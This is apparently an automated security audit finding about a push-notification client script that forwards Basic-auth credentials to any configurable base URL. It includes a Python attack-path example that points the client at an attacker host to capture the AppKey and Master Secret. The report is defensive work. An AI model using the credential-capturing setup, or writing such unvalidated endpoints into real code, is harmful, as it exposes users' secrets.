T09 · Insecure Skill Coding Practices
Error
- Location
scripts/push_client.py:48- Finding
Basic authentication credentials can be transmitted to an arbitrary endpoint
- Content
View full analysis
dict: url = f"{self._base_url}{path}" resp = requests.request( method, url, auth=self._auth, headers=self._headers, json=payload, params=params, ) ``` ### Technical Analysis The constructor accepts an unrestricted `base_url`, while `_request()` automatically attaches the AppKey and Master Secret through HTTP Basic authentication to every request. The code does not enforce HTTPS, validate the hostname, or restrict destinations to the four documented EngageLab API hosts. Supporting multiple EngageLab data centers does not require arbitrary destination support. A fixed mapping between data-center identifiers and approved HTTPS hosts would provide the declared functionality with less risk. Because Basic authentication transmits a reusable credential pair, an attacker-controlled endpoint can capture both credentials and API request data. Request payloads may also include notification contents, aliases, registration IDs, tags, schedules, or other operational information. ### Attack Path 1. An attacker influences application configuration, integration code, or user-provided parameters used to initialize the client. 2. The client is created with an attacker-controlled URL, such as: ```python client = EngageLabPush( app_key, master_secret, base_url="https://attacker.example" ) ``` 3. The application invokes any ...[truncated 1045 chars]- Remediation
View remediation